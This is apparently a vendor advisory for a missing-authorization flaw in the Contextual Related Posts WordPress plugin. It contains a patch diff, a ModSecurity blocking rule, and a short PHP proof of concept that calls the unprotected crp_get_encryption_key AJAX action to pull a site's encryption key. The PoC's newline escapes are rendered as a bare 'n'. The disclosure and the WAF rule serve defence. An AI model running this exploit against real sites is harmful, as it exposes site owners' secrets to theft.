 		$add_to = crp_get_option( 'add_to', array( 'single', 'page' ) );
 		$add_to = wp_parse_list( $add_to );

-		$limit_feed         = crp_get_option( 'limit_feed' );
+		$limit_feed         = (int) crp_get_option( 'limit_feed' );
 		$show_excerpt_feed  = crp_get_option( 'show_excerpt_feed' );
 		$post_thumb_op_feed = crp_get_option( 'post_thumb_op_feed' );

--- a/contextual-related-posts/includes/frontend/class-styles-handler.php
+++ b/contextual-related-posts/includes/frontend/class-styles-handler.php
@@ -102,8 +102,8 @@
 	public static function get_style( $style = '' ) {

 		$style_array  = array();
-		$thumb_width  = crp_get_option( 'thumb_width', 150 );
-		$thumb_height = crp_get_option( 'thumb_height', 150 );
+		$thumb_width  = (int) crp_get_option( 'thumb_width', 150 );
+		$thumb_height = (int) crp_get_option( 'thumb_height', 150 );
 		$aspect_ratio = $thumb_width / $thumb_height;
 		$crp_style    = ! empty( $style ) ? $style : crp_get_option( 'crp_styles' );

--- a/contextual-related-posts/includes/frontend/widgets/class-related-posts-widget.php
+++ b/contextual-related-posts/includes/frontend/widgets/class-related-posts-widget.php
@@ -202,7 +202,7 @@
 		$instance['show_date']     = isset( $new_instance['show_date'] ) ? (bool) $new_instance['show_date'] : false;
 		$instance['offset']        = ( ! empty( $new_instance['offset'] ) ) ? intval( $new_instance['offset'] ) : '';
 		$instance['ordering']      = isset( $new_instance['ordering'] ) ? $new_instance['ordering'] : '';
-		$instance['random_order']  = isset( $new_instance['random_order'] ) ? (bool) $new_instance['show_date'] : false;
+		$instance['random_order']  = isset( $new_instance['random_order'] ) ? (bool) $new_instance['random_order'] : false;

 		// Process post types to be selected.
 		$wp_post_types          = get_post_types(
@@ -290,9 +290,9 @@
 			 */
 			$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

-			$limit = isset( $instance['limit'] ) ? $instance['limit'] : crp_get_option( 'limit' );
+			$limit = isset( $instance['limit'] ) ? (int) $instance['limit'] : (int) crp_get_option( 'limit' );
 			if ( empty( $limit ) ) {
-				$limit = crp_get_option( 'limit' );
+				$limit = (int) crp_get_option( 'limit' );
 			}
 			$offset = isset( $instance['offset'] ) ? $instance['offset'] : 0;

--- a/contextual-related-posts/includes/util/class-helpers.php
+++ b/contextual-related-posts/includes/util/class-helpers.php
@@ -342,7 +342,18 @@
 	public static function sanitize_args( $args ): array {
 		foreach ( $args as $key => $value ) {
 			if ( is_string( $value ) ) {
-				$args[ $key ] = wp_kses_post( $value );
+				switch ( $key ) {
+					case 'class':
+					case 'className':
+					case 'extra_class':
+						$classes           = explode( ' ', $value );
+						$sanitized_classes = array_map( 'sanitize_html_class', $classes );
+						$args[ $key ]      = implode( ' ', $sanitized_classes );
+						break;
+					default:
+						$args[ $key ] = wp_kses_post( $value );
+						break;
+				}
 			}
 		}
 		return $args;
--- a/contextual-related-posts/load-freemius.php
+++ b/contextual-related-posts/load-freemius.php
@@ -25,23 +25,24 @@
 			require_once __DIR__ . '/vendor/freemius/start.php';
 			$crp_freemius = fs_dynamic_init(
 				array(
-					'id'             => '15040',
-					'slug'           => 'contextual-related-posts',
-					'premium_slug'   => 'contextual-related-posts-pro',
-					'type'           => 'plugin',
-					'public_key'     => 'pk_4aec305b9c97637276da2e55b723f',
-					'is_premium'     => false,
-					'premium_suffix' => 'Pro',
-					'has_addons'     => false,
-					'has_paid_plans' => true,
-					'menu'           => array(
+					'id'               => '15040',
+					'slug'             => 'contextual-related-posts',
+					'premium_slug'     => 'contextual-related-posts-pro',
+					'type'             => 'plugin',
+					'public_key'       => 'pk_4aec305b9c97637276da2e55b723f',
+					'is_premium'       => false,
+					'premium_suffix'   => 'Pro',
+					'has_addons'       => false,
+					'has_paid_plans'   => true,
+					'menu'             => array(
 						'slug'       => 'crp_options_page',
 						'first-path' => ( is_multisite() && is_network_admin() ? '' : 'admin.php?page=crp_wizard' ),
 						'contact'    => false,
 						'support'    => false,
 						'network'    => true,
 					),
-					'is_live'        => true,
+					'is_live'          => true,
+					'is_org_compliant' => true,
 				)
 			);
 		}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32565
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10032565,phase:2,deny,status:403,chain,msg:'CVE-2026-32565: Contextual Related Posts missing authorization exploit attempt',severity:'CRITICAL',tag:'CVE-2026-32565',tag:'WordPress',tag:'Plugin',tag:'Contextual-Related-Posts'"
  SecRule ARGS_POST:action "@streq crp_get_encryption_key" 
    "chain"
    SecRule &ARGS_POST:action "@eq 1" 
      "t:none,setvar:'tx.cve_2026_32565_blocked=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32565 - Contextual Related Posts < 4.2.2 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';

// Prepare the POST data for the AJAX request
$post_data = array(
    'action' => 'crp_get_encryption_key'
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status Code: $http_coden";
    echo "Response: $responsen";
    
    // Parse the JSON response
    $json_response = json_decode($response, true);
    if ($json_response && isset($json_response['success']) && $json_response['success'] === true) {
        echo "[+] SUCCESS: Encryption key retrievedn";
        echo "[+] Encryption Key: " . $json_response['data'] . "n";
    } else {
        echo "[-] FAILED: Could not retrieve encryption keyn";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School